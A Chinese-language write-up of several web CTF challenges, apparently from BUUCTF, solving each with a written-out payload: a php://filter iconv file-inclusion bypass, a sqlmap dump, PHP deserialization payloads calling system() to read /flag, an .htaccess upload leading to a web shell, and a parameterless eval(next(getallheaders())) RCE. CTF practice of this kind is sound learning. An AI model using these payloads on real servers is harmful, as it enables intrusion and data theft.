这里需要修改前端js文件,用变量覆盖修改gamescore的值,使得判定为大于100000分。
如果不清楚修改js文件的具体步骤参考这个链接:
使用 firefox 运行时更改 javascript 变量值_如何修改火狐html变量值-CSDN博客
步骤:火狐找到调试器下的js文件,在里面gamescore这一行打断点(点一下347那行的开头就行),然后点击开始游戏,游戏会在打中目标的时候停在断点处,这时候点击控制台,在里面写入gameScore=99999999999然后回车,就相当于给这里的gamescore赋值了99999999999,然后点击左上角这个运行,回到调试器把鼠标移到gamescore上面看看有没有赋值成功,然后点击运行,就能弹出flag
题目:
nope
典型的文件包含题,这里过滤了base64和rot13,我用的payload是:
?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php
把+AHs-和+AH0删掉替换成{},就是flag了
原理:使用其他的过滤器convert.iconv.* 绕过(php://filter中的各种过滤器)
使用方法:convert.iconv.
这里的
sqlmap就能出,payload:
sqlmap -u 'http://73be49a6-4f58-4bc9-b1f6-0c8daae72f49.node4.buuoj.cn:81/?id=1' -D 'ctf' -T 'here_is_flag' -C 'flag' --dump
题目如下:
cmd)){
@system($this->cmd);
}
}
}
@unserialize($_POST['unser']);
?>
很简单的一个反序列化,用ls -al命令查询一下当前目录文件
PHP 序列化的时候 private和 protected 变量会引入不可见字符%00,private是%00类名%00属性名 ,protected为%00*%00属性名 ,注意这两个 %00就是 ascii 码0的字符。这个字符显示和输出可能看不到,甚至导致截断(无法复制),但是url编码后就可以看得清楚.。
下面长得很像麻将的两个就是ascii 码0的字符
因为是private,序列化出来后会有%00属性导致无法完全复制去burp,而且传参里也不能有空格,应该用%20或者‘+’链接因为最后使用post传参可以识别url编码,所以把空格处替换为%20,payload:
O:4:"evil":1:{s:9:"%00evil%00cmd";s:6:"ls%20-al";}
回显成功,但是当前目录文件显示只有一个index文件,没有flag相关文件,这里我们可以查看下上级目录下的所有文件system(ls ..),发现上级目录是html,猜测flag文件在根目录下,而linux中查询根目录下文件的命令为ls /,一试就找到th1s_1s_fffflllll4444aaaggggg文件:
O:4:"evil":1:{s:9:"%00evil%00cmd";s:4:"ls%20/";}
读取flag,最终payload为:
O:4:"evil":1:{s:9:"%00evil%00cmd";s:33:"nl%20/th1s_1s_fffflllll4444aaaggggg";}
这里发现服务器把php4,phtml这些后缀都过滤了,但是.htaccess上传成功,这里考的应该是.htccess解析漏洞。
原理在此:https://blog.csdn.net/sorryagain/article/details/125080205
简而言之,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。所以我们可以先上传一个.htaccess文件,里面写入代码告诉服务器将 .jpg
后缀的文件解析为 PHP 脚本,然后上传.jpg格式的图片马
步骤:建一个txt里面写入:
AddType application/x-httpd-php .jpg
然后改名为.htaccess注意不要在.前面加东西,.htaccess是一个固定文件
然后随便找一个.jpg后缀的图片,用notepad打开,写入一句话木马:
先上传.htaccess开路,后上传图片马,然后链接蚁剑在根目录下找到flag
点进去注意到or you wanna to find some leaked information?
leaked information翻译过来就是信息泄露,第一时间想到的是git文件泄露,使用githack得到过滤条件
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']))这是一个非常典型的无参数rce题目,这里的正则表达式 [^\W]+\((?R)?\)
匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R)
是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;
,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。
这里的payload是:
/bo0g1pop.php?star=eval(next(getallheaders()));
getallheaders()
函数用于从 HTTP 请求头中获取所有的头信息,然后调用 next()
函数返回数组中的下一个元素,并将其作为参数传递给 eval()
函数来执行
然后发现只有UA头的消息回显了,所以我懒得找别的方法选择改ua头:
system("la /");
查找根目录文件
最后使用cat /flag读取flag,payload如下:
system("cat /flag");